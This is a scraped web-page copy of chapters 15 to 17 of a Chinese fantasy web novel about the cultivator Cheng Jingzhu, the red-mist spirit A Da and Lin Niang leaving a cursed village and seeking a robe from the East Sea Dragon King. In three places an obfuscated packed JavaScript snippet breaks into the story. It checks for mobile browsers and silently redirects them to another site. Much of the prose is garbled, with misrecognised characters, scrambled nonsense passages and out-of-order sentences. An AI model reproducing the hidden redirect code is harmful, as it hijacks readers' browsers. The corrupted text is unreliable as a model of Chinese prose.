d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802160|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' -枯皮底下层叠的菌丝。 ”抱歉。 程净竹淡淡道。 .”席正松垮的脸皮动了动。 ”席正, 你兄弟二人的所有事,我的图已经悉数告知于我,你千辛万苦活到今日,又为何要一死了之?元真夫人道。 席正先是将哥哥的尸体看过, 又看向自己这副人不人鬼不鬼的残躯,道:“我哥贪心不足,笃信山海图是他不做亡国之君的天命,为此, 他害了 很多人,而我.....而我,也同样罪无可恕. 相赎,唯有. 他抬起头来,神情凄哀:“我哥哥害他们性命,而我吃他们血肉......我哥是怪物,我也是,我的罪孽无以"不,席正。 死。 元真夫人的声音自云端落来:“你兄弟二人都误食了九头鸷的鸟蛋,但最终,只有你兄长席献有异化之想食资盂说明你与他的不同,赵悬磬的文谍之中,亦说明你是此地唯一个诚心为他建庙宇,铸神像的人, 也是为了他们而努力活 下来,以期有朝一日揭破你兄长的阴谋。 你,相反 元真夫人说罢 ,似乎凝神听了片刻玉如意中那些魂魄的声音,随后,她微微一笑:“他们没有任何人怪, 他们感激你。 ,不敢相信似的,声音发颤:“他们.. ...感激我?“ 席正身体一 元真天人道震非只他们,赵悬磬亦对你心存感激,他残念之中,对你这位朋友的愧疚最难消解。席正眼中泪意一瞬模糊。 “席正,你心地纯善,对人,对友皆一片诚心,不愧你闾国诚王的身份,“元真夫人扬手降下福泽,使得己非人身 席正化为一团莹白的光,) 漂浮到她手中, 她道, “你有杀身成仁的勇气, ,虽 ,却慧根不浅,今日我 渡你,去吧, 元真夫人话落,白光脱手,乘虹而去。 ,去朔州五方山下以灵菇之身修行,将来,说不定哪一日,你便能与旧友重逢。天边裂口还合拢,正说明此地的结界还未封闭,元真夫人敛了敛神色,再看向云下那白衣少年:“白.差最才步品不能又蓦地是血膝复骁最渠唤醒他的赵悬磬朱砗势念于就力甾娘的鬣在阵召出九仪娘娘镇在渊中 法器,恰逢霖娘一身血肉划破结界, ,这才让渊下不死不灭的天衣人钻了空子,抛出去他们的火种。“可,娘娘的法器何在?怎么不见? 元真夫人面露疑惑。 程净竹想起那针对阿妲的天罗地网,那是一种绝对的,巨大的,足以将初出茅庐的阿姖吞噬、碾碎的引意。 但它似乎莫名的消失了。 此时,破咒印理在他手腕的红雾不在的在,对云端的元真3 oo 人道:“弟 不知。 元真夫人端详着少年过于冷冽的眉目,片刻,还是压下疑惑,对他道:“我知道,上界欠你许多,但天 人的火种是催人欲望丛生的剧毒,它们跑出去,定然要为祸世间,可我们不能再重回坍鸿时的悲剧了,否则便是对不起九仪娘娘,对不起天下人。 程净竹闻言,抬眸看向云端,只见元真夫人将手中的玉如意抛向天边的裂口,道:“去吧,带这些魂灵九幽黄泉,让他们安息。 话音落,元真夫人一副身躯瞬间化为五彩的霞光,从天边坠下去,压向那座黑水村人世代挖掘壁髓,以至于洞窟遍布的神山! 你 人们惊叫起来。 程净竹眼底神光微动。 种山出,溲出宝日架的尤,元具大人声首侧楚五大地:“尹,我态了,从刖安,全今疼吗? 程净竹指节蓦地屈起,却没有应答。 神山中传出元真夫人轻轻的叹息: “席氏皇族笃信山海图的恶因在我,我应该为此而承担责任,如今没娘娘的法器,我便化身为封印,死守赤戎,千年万年, 净竹,我在此等你收回天衣人的火种,还人间清净。 赤我从来没有这样明亮的天色,没有如此柔和的清风 风吹动少年染血的衣摆, ,他那双总是沉若静水 双眸此时泛起层层粼波,但最终,他仍是那个风雨不动,冷漠无情的少年修士,却拱手,朝神山俯身一拜,”弟子从命。 衣袖间,红雾勾缠着他的手腕,肆无忌惮地蹭着他腕骨皮肤,猛然咬他一口。如幼兽初生利齿,愤愤啃咬。 程净竹脊背微僵,伸出手,垂眸审视腕上那道齿痕。 微微血红渗出, 芳香的血气引得红雾更加躁动,却偏偏为咒印所困,不能用力撕咬个痛快,只得越发挣扎,缕缕淡红烟气萦绕袖边,像一小截茸茸的尾巴尖。 “自讨苦吃 他站直身体,轻抚衣袖,将淡烟拂散。 第15章 弟5早 黑水村的人不但要走,还要将葬在此地的长辈尸骨全都带走,他们不会再回来这个地方,也不忍将亲人弟5早 的尸骨永远留在这里。 村人来求程净竹,他虽什么也没说,却还是去了,用白符化火,帮助村人火化坟土中的亲人尸骨,方便他们将骨灰带出。 霖娘也将她娘林秋雁的尸骨火化,将骨灰装入坛中收到行囊里,又将祖父赵悬磬的神像,父亲赵世义用断的一截柴刀刀片收好。 院子中的鸡鸭,都因为瘴气而死,霖娘吸了吸鼻子,看向被咒印锁在她小臂的那一团红雾,程净竹走前,将这金光咒印过给了她。 “阿嬗... 霖娘小心翼翼地唤一声。 红雾被流转的咒印所困,缕缕环绕 "阿姐,”霖娘垂下脑袋,低声说,"我知道,如果不是你的话,我根本出不了黑水河,也不能再见到我爹娘,明明我们早就说好了 ,你救我出水,我的皮囊就归你,但我却出尔反尔 今你无处栖身,是我不对 霖娘抿了一下唇 又说:“可是,可是我眼见那泥妖与村长联手害我父母 ,而且村长还害了我祖父......我 一时怒从心头起,便什么也顾不得,再说,你没有我的皮囊,你不会死,可若我不像我爹一样,消身散瘴,邻都会死的。 "阿嬗。 霖娘说着,眼中又蓄起泪,她抽抽嗒嗒的:“阿妲你说句话啊?别不理我,你这样,我怪害怕的.....我真不是故意跟你作对,气你.... “阿嬗,阿烜.. 霖娘没完没了地喊她,引得被咒印禁锢的那团红雾顿如猫毛炸立,红雾烧得像焰火,风音扑了霖娘满脸。"吵死了。 霖娘在迎面扑来的风声中,听到这道十分不耐的声音。 那音色仍与霖娘的声音如出一辙。 也许是因为阿妲占过她的皮囊, ,拥有过她的声音,所以霖娘才能从这风音当中辨出阿的言语十分厉害的焦枯树枝, 元真夫人说九仪娘娘镇在渊下的法器出世了, 霖娘想到那一截对阿姖围追堵截, 心中便猜那应该便是九仪娘娘的法器,此时,因方才一阵风,霖娘脸上的泪痕都变得冰冷,她揉 了一 把脸, 道: "阿垣,我知道方才在黑水畔,你被那法器追堵时,你将我抛入水中,是怕法器误伤我.“ ...霖娘虽没什么 本事,但你对我的恩,我一定会报的。 也是此刻,霖娘面上浮出疑惑:“我明明见那法器向着你去,但风浪过后,怎么又不见了呢?“我怎么知道。 如出一辙的声音,却满是不耐。 莫说霖娘,连阿妲自己都一头雾水,那焦枯的枝尖对准她双目不过半寸,却又忽然破碎成缕缕金芒,囚下流散,不见踪影。 不知为何,阿妲觉得自己浑身炽热,翻沸若焰,烧得她焦躁极了,她略微压制心中的戾气,与霖娘相同的声音变得轻柔极了 :“你真要报恩?’ 霖娘被跟自己差不多的,却特别甜腻腻的这道声音吓出一身鸡皮疙瘩,她眨眨眼睛,点头.“啊。阿烜轻声笑, 这金光咒司乃警重天透的意味且那你便挥法,阿這二时不慎,被缚其中,难以挣脱,而霖娘却摇摇头,道:“这咒印是程仙长所设,我怎么解得开呢?再若 她看着腕上 上红雾,又道:“再者,你为何要走呢?你自己又要去哪儿呢?你难道.....难道舍得离开程仙长么?你不想得到他的心了?” 阿妲被气笑:“壳子都没了,还要他的心做什么? 霖娘听她这话,却会错意, 一时又低下头去:“对不起阿妲,你是不是因为没有了皮囊,所以心中自卑不敢再见程仙长? 闭嘴。 阿嬗听不太明白什么是自卑,但她本能地觉得霖娘嘴里吐不出好话。霖娘闭紧嘴巴,见腕上的红雾噼里啪啦的冒火星子,她战战兢兢,还是小心开口:“那个,你想不想吃鸡?我, 比 “我早该吃了你。 我们家鸡刚死, 还能吃.. 阿姖幽幽道。 霖娘一下彻底闭嘴了。 天边结界的裂缝留给众人的时间并不多,村人带上亲人的骨灰,背上行囊,很快聚集在他们从前根本不敢踏足的边界之水。 符咒立即印于白符上。、 长烟缕缕,程净竹袖中白符飞出,悬于半空,他双指凝出淡金色的流光,在虚空中画出一符咒,那金顷刻,白符折叠为一纸船,纸船落入水中,立即化为大舟,耸立水面。们不禁发出惊奇的声音,再看程净竹,却见他因抬手施法而衣袖往下落了些,露出那一截冷白的腕骨上明晃晃一道鲜艳的牙印, 程净竹抚平衣袖,遮去腕部,对村人道:“走。” 霖娘也见到那牙印,她忍不住低头看袖子边的红雾,低声问道:“你咬的?“你也想试试吗?” 阿姆用她的嚞音说道。 不了。 "霖娘满额是汗。 霖娘与村人随程净竹登上 船去,船舷便自然而然地趁风逐渐远离岸边,明明说好不再眷恋这片土地,但此时霖娘与村人仍旧忍不住在茫茫水雾中遥望那片他们生存许久的土地。“那.....那不是彩绳么? 忽然, ,有人惊呼。 霖娘与众人闻声,立即往他所指的方向看去,只见茫茫雾中,那彩绳怀中抱着个什么,踉踉跄跄地跑来。“没有人叫她一块儿走么? 不知道啊...方才也不知道她跑哪里去了,谁也没看见她。” 村人们说道。 “彩绳姑娘!'' 一老翁招招手,喊道:“快来!快啊!” 其他人也开始喊她: “彩绳姑娘!快上船啊!’ 直到她近了,穿破烟雾而来,人们终于看清她怀中抱的那个东西,一时间,所有人的声音都戛然而止,似乎被吓住了。 阿妲没有了人的皮囊,双目便再看不见更多的色彩,她眼中只有乏味的黑白,她看到那彩绳跑到距离水边个匹 又忽然停「 而她怀中抱的,正是那颗被她亲手用金簪割下来的年轻头颅。 那头颅睁着一双眼,定格着他生前最后的凄哀与痛古o 船离岸边越来越远,而彩绳始终停在那里,她脸上无悲无喜,一丝血色也没有,她只是静默地望着水上的那只大船,还有船上的每一/ 个鬼地方!" 人们被她怀中抱的头颅吓得不轻,回过神来,又开始连声喊她:“彩绳!快,我们大家一起出去,离开彩绳仍然不动。 这时,霖娘抬手控水凝出一水绳,顷刻缠住彩绳的腰身,霖娘正要将她拉上船来,彩绳却往后退了几步,缠住她的水绳落地,成了一滩湿润的痕迹。 “彩绳姐姐?” 霖娘惊愕地望着她。 彩绳却用衣袖擦了擦怀中头颅脸颊上的血泪:“这不是鬼地方,是山神赐给我们的福地,你们都背叛了神 “彩绳姑娘,你醒醒吧!没有山神!这里从来就没有山神!‘ 有村人大喊道。 "有的。 彩绳的声竟很轻:“袖一直在。” 她一边说着,一边往后退去,退去朦胧的雾气里,看着大船离岸边越来越远,她开始笑,放声大笑,怪抱着那颗年轻的头颅,她转身往雾气更深处奔去。 "你们不配留在山神的福地,走吧,都走吧哈哈哈哈哈哈哈.."风中,是她癫狂的笑声。 “阿瑞, ,从此以后,只你与我了。 个人的眼中模糊,她的笑声也随着船离岸越来越远而显得缈不可闻。彩绳孤零零的身影逐渐在每- 船虽大,却仍轻如纸,载着众人趁风越飘越远,人们看到天水相接的尽头是一片模糊的雾气,船越行进,他们便越是看清天际一道金色的裂口在逐渐收紧。 风浪剧烈,阿妲却忽然听见一道声音:“去吧,去见识那个糟糕的世界,数不尽的欲望终会使你更强大...所有的种子都在盼望你,都名帮可你 那道声音说:“我们. .等着你! 那声音变得激动,变得尖锐,刺痛着阿妲,可她看向船上,似乎没有一个人听到这声音,她看见霖娘在小心擦拭身上的珍珠云肩,看见村人缩在船中不敢动弹,她看见..那少年修士。 浪而起,影疼懂得更睁以自符化咒,驱策船身划浪而去,水面强风吹得许多人几乎睁不开眼,大船阿妲回望船后,赤戎已经消失浑浊的雾气中。 风浪带起的水花几乎打湿所有人的衣衫,他们紧紧地闭着眼,很久都不敢睁眼,直到船身不再剧烈晃动,水浪似乎变得平静,连风都变得柔和, 霖娘最先睁开眼睛,满目的霞光顷刻占据她所有视线,她揉了揉睛,好一会儿才发出声音:“这.. 便是外面的世界么2》 人们听到霖娘的声音, 便连忙睁开眼睛。 天边夕阳如火, ,绮丽的霞光或深或浅的铺满整片天空,投落缕缕光影在清澈的水面,浮光跃金。洁白的水鸟成群划过天际,轻脆的鸟鸣响彻粼粼水面o 话,只顾欣赏山川。 船下的水是那么澄澈,远处层峦或苍翠,或夹杂一片鲜红,一片金黄,船不知行进多久,人们忘了说阿妲却看不到那些颜色,自然也无法感受这外面与黑水村的不同,她幽幽地窥视那立在船边的少年。船抵一岸,村人下了船,忙对程净竹作揖,又七嘴八舌地感谢起来:“多谢您啊,程仙长,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802161|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是您,们都没命活到出来 “是啊程仙长, “多亏了您啊! ,我都没想到我都这一把年纪了,还能出来!" "不必谢我,”水上的大船被程净竹收回,在他掌中成了一只小小的纸船,抬眸,他扫视过面前这些村人,片刻, 又道, “向东二三十里有一镇,你们可往东去,亦可顺流而下寻山野村落暂居。程净竹看着他们一身几百年前的衣饰,又道:“你们也不必在乎如今是哪个朝廷,哪位君王,不论你们 去哪里,在哪里落地生根都可以。 村人们眼中多有热泪,记下程净竹的叮嘱,又与霖娘作别,便踏过岸边长莎,各自去了。他们有的人向东, 有的人顺流。 有人结伴,有人孤身。 霖娘还站在岸边,见程净竹回过头来,双指凝出金光,似要收回咒印连同阿妲,她一下按住手臂,往后退了两步,道:“程仙长 你不肯放了阿吗? 绮丽的流霞 映在程净竹眼底,成了冷淡的光影“我为何要放了她?“ 霖娘额头冷汗直冒,结结巴巴道.“阿妲她.....她说她知道错了.“我错 什么了?‘ ”她错什么了?‘ 阿姖的声音几乎与程净竹的声音同时落来霖娘耳畔,她额上冷汗滴下来,忍着没理阿烜,对程净竹道:”她说她...不该咬你. 请意才落,她听到阿妲的冷笑。 霖娘身 抖( 岸边水草丰沛,蓬蒿随风而舞,程净竹指间金光微闪,霖娘身上的金光咒印立即向他飞去,缠绕在他骨。 他垂下眼睫,看着被咒印禁锢的红雾散发出尖锐的雾气,多像是一只刺猬警惕地竖起它全部的尖刺。“你可以听见她说话? 他道。 霖娘僵硬地点点头:“是的 他神情似乎没有任何变化,嗓音平静:“她才不会认错。” 程净竹沉默了片刻, 霖娘不知他为何如此笃定,但事实上阿妲也确实嘴比什么都硬,霖娘一时什么办法也没有,见程净竹走,她便连忙上前:“程仙长,不如我们一道呵\ 程净竹步履一顿,看向她。 霖娘朝他拱手,说;“我受元真夫人点化, 立志要修行济世,而说到底,赤戎长渊下的天衣人火种,也因为我而阴差阳错出去的. .如今元真夫人化为封印在赤戎长眠,我若不能亲自寻回火种,又如何对得起元夫人的点化之恩呢?霖娘求程仙长,给我这个机会,让我一起去。霖娘说着,又看向他袖边红雾,道:“何况... , .何况我与阿姖是朋友,她没有害过我,我的皮囊也是我亲 口承诺给她的,结果因为我想救乡邻,便毁了诺言,我欠阿妲,我不能离开阿姐。缭绕的红雾似乎有一瞬凝滞。 阿但笾过础边,有问森艰。 .朋友? 什么是朋友? 性破罐子破摔, ”反正,反正程仙长你就算不答应,我也会跟着你们的!"霖娘摸不准这位年轻的修士心中在想什么,索“阿烜在哪里,我就在哪里! 程净竹想到那位沉眠赤戎神山的元真夫人,再看眼前这霖娘,她得元真点化,也算得元真的弟子,于是,他道:“我可以先送你去东海。 霖娘知道他并未答应同行一道找回天衣人的火种,但眼下能先一同到东海也已经很好了,反正到时候在龙宫求得宝衣后,她也会再想办法紧紧跟着他们。 霖娘松了口 气,见程净竹转身往山径上去, 她赶紧跟上,问道:“那,程仙长你要一直这样锁着阿姖吗 袖中,阿姐一边与咒印相没争竹垂下眼帘,看向衣袖边缘缕缕淡雾,“若她听话,一边咬向他手腕。 “我会为她造一副身躯,’ 阿将要咬上去,此时又不 孟然顿住了。 阿妲缓缓说道。、 ..新的,身躯? 霖娘也十分惊讶,她连忙问程净竹:“你是说,你可以为阿妲造一副新的身躯?那要到什么时候呢?"程净竹淡淡道:“再等等 人类失去血肉之躯很容易,要再得却不易,霖娘想,程净竹给阿烜造一副身躯定然也不是那么容易的,她便不再多问了,只在心中偷偷喊阿妲。 阿嫗占过她的皮囊,听得到她的传音,但阿妲不想理她。 霖娘道: “你别再咬他了啊,听到了吗?他可以给你造一副新的身躯!"阿烜悄无声息地按下再狠狠咬小神仙一口的打算, ,一切为了壳子,她说:“暂时不咬了。” 夕阳余晖烧红整个天边,大片的光影碎落在山径上,红枫翠叶趁风而落,一行两人伴随淡淡红雾,行浩浩山川。 第16章 弟6早 弟16早 开阔的官道旁芳草丰沛,一对老夫妇在此支起一个草棚,卖些散茶,糖水,新鲜吃食,赚些来往行客的小钱。 老妪送了一盘片得薄如蝉翼的鱼生到桌上,对一男一女二位客人道:“我们这儿靠海吃海,我见二位是外客,所以送一碟鱼生给您二位尝尝。 老妪笑着道谢,将银子收了,转身往锅灶那边去,却又禁不住回过头,再将那后生瞧了几眼,若说他有少“多谢。 "少年淡应一声,将一枚碎银放在桌边。 年白头的毛病,却又不像,因为他发若银灰,不像耄耋之年的人枯朽无光,反而像上好的丝缎。何况他骨相韶秀,神观若雪,却是 一身元青衣袍,颜色近黑,但那衣料却又在阳光下隐约泛出一分蓝的光泽,他银发束髻,元青发带缀晶莹珠玉,外袍底下中衣露出一截洁白前襟,襟前压一串水青宝珠,若滴水成珠,澈非常。 再看他身形颀秀,肩背宽阔,腰身则被一根像生着银色蛇鳞的法绳收束,结实窄紧,而法绳上珠饰无-不精巧漂亮。 便是再不识货的乡野村妇,也能看得出他这些珠饰一定价值不菲,老妪心中觉得怪,都说在外不露白,这后生难道不怕惹人觊觎么? 连他对面坐着的那女子, 老妪也觉得很怪,她脸上裹着面纱,根本看不清脸,虽说身上没有过多衣饰,但却披着一珍珠云肩,老妪家里都是海边讨生活的人,那后生身上的珠饰她也许还不算识货,但那女子云肩用的珍珠,大的大,小的小,竟全都是难得一见的好珠! 老妪还在偷偷瞧他们, ,那桌边的年轻女子摸了摸自己的面纱,没有动桌上的鱼生,低声对坐在对面的年说道:“程公子,你就把阿交给我吧,我会好好照顾她的“不妨先顾好你自己 程净竹没有碰那一碟鱼生,只饮了几口茶。 给她照管,但无一例外都不成。 这一路幸因程净竹有法绳可御,乘云掠风,不过十日,便至东海,霖娘路上不止一回求程净竹将阿姖森娘听到闷处幽幽道:"没用。" 一回又没成。 她不禁冷汗涔涔,在心中道:“我每一回都很认真地求过了,他不答应我也没有办法....阿姖懒得理她。 散出袖边的淡雾望见桌上唯一 一道荤腥,那是一道冷冰冰的,没有一点烟火气,却薄透晶莹的鱼生。可程净竹竟然不吃荤腥。 这十日以来,阿烜甚至没有见他吃过什么东西,除了饮茶,还是饮茶。“你们人, ,不吃东西,不会饿死吗?” 阿嫗问霖娘道。 霖娘斩钉截铁。 阿烜觉得奇怪极了:“那他怎么还没饿死?" 霖娘沉默了片刻,沉痛地道,“你是不是因爱生恨了? “那是什么? 阿妲没明白。 霖娘没来得及回答,因为她看见程净竹起身要走,她赶紧将桌上的饼子什么的乱抓一把,跟上去了:“公子,等等我! 东海无垠,烟波浩渺,一只虾兵灵巧地潜游至水底,穿过结界,便是水晶龙宫,虾兵才至正殿门口,便被龙宫侍女拦下 那侍女听得虾兵一番耳语,便转身入殿中去了,那东海龙王正在色泽艳丽的红珊瑚榻上小憩,侍女上前,小心翼翼唤:“龙王。 东海龙王才吃过几杯酒,鼾声震得龙宫外鱼丛惊散,侍女无奈,又多唤了几声,那龙王方才转醒,有些不耐烦:“何事?” 侍女道:“殿外一虾兵来报,说有一个什么上清紫霄宫药王殿的弟子求见龙王。‘“上清紫霄宫......药王殿?’ 龙王此时酒醒了一半,终于想起来这名号:“啊, ,便是那济慈真君得道前,在人间的师门?" 上清紫霄宫分三殿,- -为合山殿,殿中弟子清修山中,劳苦其身,锻其神,以此求得心净道满,从不出治,救人病苦。 世, 一为相微殿,修心中之目,见世间万物之幽微,断吉凶,预未知,一为药王殿,尝百草,修良方,以灵一殿中,唯药王殿以入世为修行之本,为解人间疾苦,悬壶四海,而三殿之中,近九百年,唯药王殿被师坐化得道,封慈济真君。 "这是那药王殿弟子递来的帖子。”侍女递上玉刺。 龙王这才转过身来,接过玉刺,挑起冠上旒珠,露出一副龙首,十分威严之相,他一眼扫过那玉刺上的金光字痕,眉头拧了拧:“本王就说那上清紫霄宫在绫州,离东海远之又远,他来这里做什么,没想到竟也是来求本王宝衣的!'' “不见不见!’ 龙王将玉刺扔回给侍女,身子一歪又睡起大觉。 侍女只好退出去。 殿中静下来,不多时,龙王便又响起轻鼾,好梦正香,身下珊瑚榻却忽然晃动起来,龙王警惕地睁眼,扶着头冠起身,见龙宫四下震动,怒道:“这是怎么回事2 那方才出去不久的侍女跟踉跄跄进殿来,禀报道:“龙王陛下!妾问虾兵,虾兵说外面海水忽然烫得出奇,所以附近鱼群都吓得跑来拉宫了\“ 什 么?’ 龙王起身出去,果然见庞大的鱼群将整个水晶龙宫都给占据,那些本来守在结界外的虾兵蟹将,个个打着被烫的屁股躲回龙宫里来了。 “谁干的! 龙王发出龙啸。 东海水面顿时炸起千层水浪。 岸边霖娘被水花波及,浑身湿透,她摘下湿漉漉的面纱,抹了一把脸,看向旁边程净竹袖中弥漫的红雾:“阿烜,你这样......若真惹恼了龙王可怎么办? 刺已石沉大海。 他们已在此等了两个多时辰,而东海平静,没有任何虾兵蟹将再探出头来,仿佛程净竹先前递出去的三霖娘忍不住担心地碎碎念,怕龙王不肯赐她宝衣,若没有宝衣,她便仍然受水系禁锢,无法以水鬼之修行。 阿姖听得烦,直接漫出红雾浸入水中,烧得海水翻沸。 麻娘为息的走,尹的克然发月阻止。 ”你还不明白? 猥獭朗遭,薨審卖韪:“碧皇皇鹭你蜜杂善杲鹫出寄想办响?“来了 程净竹忽然开只 霖娘闻言, 身龙首,他身披海浪起袍服见茫茫海龙水浪选长很快只白戴伞奂的龙影作”十很璨成和之履,腰系碧玉,配紫金宝剑,龙睛含怒,威仪万方。 他身侧各数名侍女 ,脸颊, ,颈中皆有晶莹亮色,像贝类壳色,个个姿容甚美,却非凡人之貌。侍女后,则是海兵无数,严阵以待。 “是何人胆敢在吾海域放肆? 是 东海龙王说道。 岸边,海风吹得程净竹衣摆翻飞,他微微垂首,道:“弟子程净竹拜见龙王,还请龙王恕罪,若非此法恐怕您也不能出来一见。 "药王殿的后生,你上清紫霄宫怎么教得你这些无礼手段?”海面之上,东海龙王一双龙睛审视着那岸边少年,“吾若不肯赐你宝衣,你可 是要 将吾这些子子孙孙都烫熟了吃啊? 程净竹垂眸,拱手道: “龙王多虑,弟子无意冒犯。 那东海龙王还未说话,霖娘便“扑通”一 下跪在岸边,她抬起头,仰望龙王,道:“龙王陛下,请您恕罪,一切都是因为小女, 阿妲见她如此祈求的样子,难以理解;“为什么一定要求他?" 是小女想向您求得一件宝衣 她在程净竹袖边悄悄打量那龙王,这是阿妲第一次见到龙,她观其一身袍服金光闪闪,转念一想,对娘说道:“你让小神仙放了我,我去扒下他的衣服不就是了? 霖娘听见了,却不敢吭声,冷汗下滴。 若真放阿烜去抢,就不知道最后她是扒衣服,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802162|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是扒龙筋了.....阿烜最近脾气真的很差.东海龙王听不见这风音中的秘密,他只将岸上女子细细打量一番,见她鬓边生有细鳞,头发长至脚踝,底 便道:“你是水鬼.....不对,若是水鬼 ,怎么又能在岸上行走自如? “我受元真夫人点化,特来东海寻宝衣加身,以便修行。 霖娘垂首说道。 ..元真夫人?“ 东海龙王愣了一下, ,一时并不肯信,这女水鬼怎会受天帝之妹点化? 程净竹看着东海龙王,淡声道:“龙王若是不信,可以看看她身上的云肩,那本是元真夫人的宝物,是真夫人亲手赐给她,渡她修行。 东海龙王闻言,立即看向霖娘身上那件珍珠云肩,他身边的侍女们也在看,离龙王最近的侍女只一眼,便低声对龙王道:“龙王陛下,妾见那些珠子,似乎都出自咱们东海。侍女乃珠蚌精所化,看珍珠自是火眼金睛。 他面不改色: 东海龙王想到自己前些年去上界赴蟠桃会时,的确送了些上好的珠子给元真,此时心中已信了八分,“元真渡她,那是元真的事, 上界的忙 吾不想帮,便不会帮。 东海龙王,乃东海之主,严格来说,并非上界神仙,也不是天帝的臣子,他雄踞东海,向来不看上界白的脸色。 不过阿姖哪里在乎他是什么了不得的身份,不过一件破衣裳而已,也值得这龙王如此傲慢?阿妲不耐,只想先烧了他胡子。 程净竹不动声色地抚平衣袖,压散烧若炽火的雾气,而后,对龙王道:“上界的忙,您不想帮当然可以帮,但您欠元真夫人的那份人情,难道用您的东海珍珠就可以还得清?你,"东海龙王有些惊诧,他再观那少年,的的确确是一副凡人之躯,只是身上的珠饰却无一不是器,而且那些法器样样绝伦,“你如何会知道这些2 父干1 海中忽然传来一道女声,阿妲在程净竹掌中挣扎了一番,一缕淡雾探出袖口,只见一女子跃出海面来,她身披霞衣,簪龙纹金钗,戴珊瑚珠饰,螺髻翘然, ,足下生烟, 氤氲弥漫。 ''元真夫人曾于我有救命之恩,台 岂是几粒东海珍珠能还得清的?“"那女子雾鬓之之中,又有龙角,她看-眼岸上的霖娘,伸手去推龙王,“难道父王要为置一时之气,而弃女儿于忘恩负义之境地么?龙王神 情尴尬极了。 他本身是极不情愿的,因为这二人先扰他的觉,又作弄他的鱼虾们,哪知道这药王殿的后生竟然连上界的事都知道,还当场跟他翻起旧账。 龙王傲慢惯了,也随性惯了, 龙女最知道父王秉性,她轻轻拍很得,可龙冬一语杨华又猝好写上纱衣立即飘然飞去岸边,落在娘身上。 "不请二位不要见怪,本也不是我父王小气,”龙女叹了一口气,又接着道,“而是前不久,阎王才来求我父王,请我父王赐下宝衣,以抽用巢州附近水域的水鬼。 "巢州?’ 程净竹敏锐地抬起眼帘:“阎王为何要抽用那些水鬼?" “因为 ....”龙女说着,此时方才看清岸上那少年容貌,她面露羞意,立即低下头去,“因为巢州死了很多人,很多器分不能擅离地府,加之地府阴差太忙,人手不够,所以阎王才求我父王,让我父王赐衣,让那些,魂却没一个入地府,地府本有抽用凡人代行阴差的习惯,可去办阴差的凡人男子,没一个回来 鬼去巢州办阴差。, “我父王.. 龙女有些不太好意思:“他所有的衣物都赐了出去,如今只剩身上这一件体面的了,穿了很久,都臭了新的衣物却还没赶制出来。 龙宫衣物与人类的不同,制衣所需要的时间自然也十分不同。 龙王老脸臊得慌: ..龙儿,你怎么什么都说!‘ 第17章 弟7早 弟7早 龙王与龙女回到海底龙宫中去了,东海之上水波渐平,霖娘再次拜谢过龙女赠衣之恩,那龙女纱衣顿时如水一般浸入她身躯之中。 霖娘站起身来,却听程净竹道:“赵姑娘,你我就此分道。” 霖娘闻言抬起头,只见程净竹转过身,行走间背云流苏轻晃,她连忙追上去:“程公子,你要去哪儿?是巢州吗?“ “我也去巢州!’ 霖娘说道。 程净竹侧过脸看向她。 海边薄雾湿润,霖娘一时不敢对上他的目光,却还是硬着头皮道:“程公子,我也不是一定要跟着你,我.我是跟着阿妲。 程净竹不言,亦不再看她。 霖娘拢好纱巾将自己的脸裹住,紧紧跟在他身后。 靠近东海,渔村遍布,近日暮,程净竹找到一渔家投宿,那夫妻二人待人十分热情,他们的小女儿更是十分殷勤。 又是点烛,又是送鱼,从夕阳西下,到夜满天星,来了不下七八趟。霖娘一看那渔女红彤彤的脸,看着程公子时含羞带怯的,就知道她脑袋里在想什么,霖娘偷偷对阿妲道:”说什么送东西来,我看她分明就是想多看程公子几眼! 阿才没心思管什么渔女不渔女:“你问他,到底何时才打算给我造壳子?"渔女每每来送东西都有心与程净竹搭话,奈何这修士性若冰霜,极其寡言,这回渔女磨蹭了半晌,还是蔫蔫地出去了。 有什么? 我可以去找。 霖娘见那渔女出去,这才松了一口气,问程净竹道:"程公子,给阿妲造一副身躯是需要很多东西么?”不需要。 程净竹抿了一口茶。 霖娘面露疑惑:“既然如此,那你到底什么时候才能给阿烜造身躯呢?"浓,淡淡的银辉铺进槛来,他轻轻搁下茶碗,道:“现在。 茶碗中的热烟上浮,使得程净竹微垂的眼眉有些朦胧,他缓缓抬起脸,看向歪斜的门扉外,今夜月光正 孚 “啊?’ 霖娘一时没反应过来,却见程净竹站起身,往门外去, ,她这才连忙跟了上去。 渔村背后是一片蓊郁竹海,霖娘跟着程净竹踏月华入竹海之中,此时入夜,竹海中幽僻非常,偶有秋风阵阵,竹海簌簌而响。 程净竹似乎是在计算什么方位,霖娘隐隐约约有此意识,但她什么也不懂,只见程净竹忽然停下,抬头望向夜幕中高悬的圆月。 霖娘没有再跟上去 ,停在不远处,看着程净竹双指捏住一白符,那白符瞬间烧成一道流火,他双手结印,以流火铺开: 金光熠熠的阵法,落向地面,顿时向四方散开一阵 气流,一时竹影婆娑 。 出去,缭绕整个阵中。 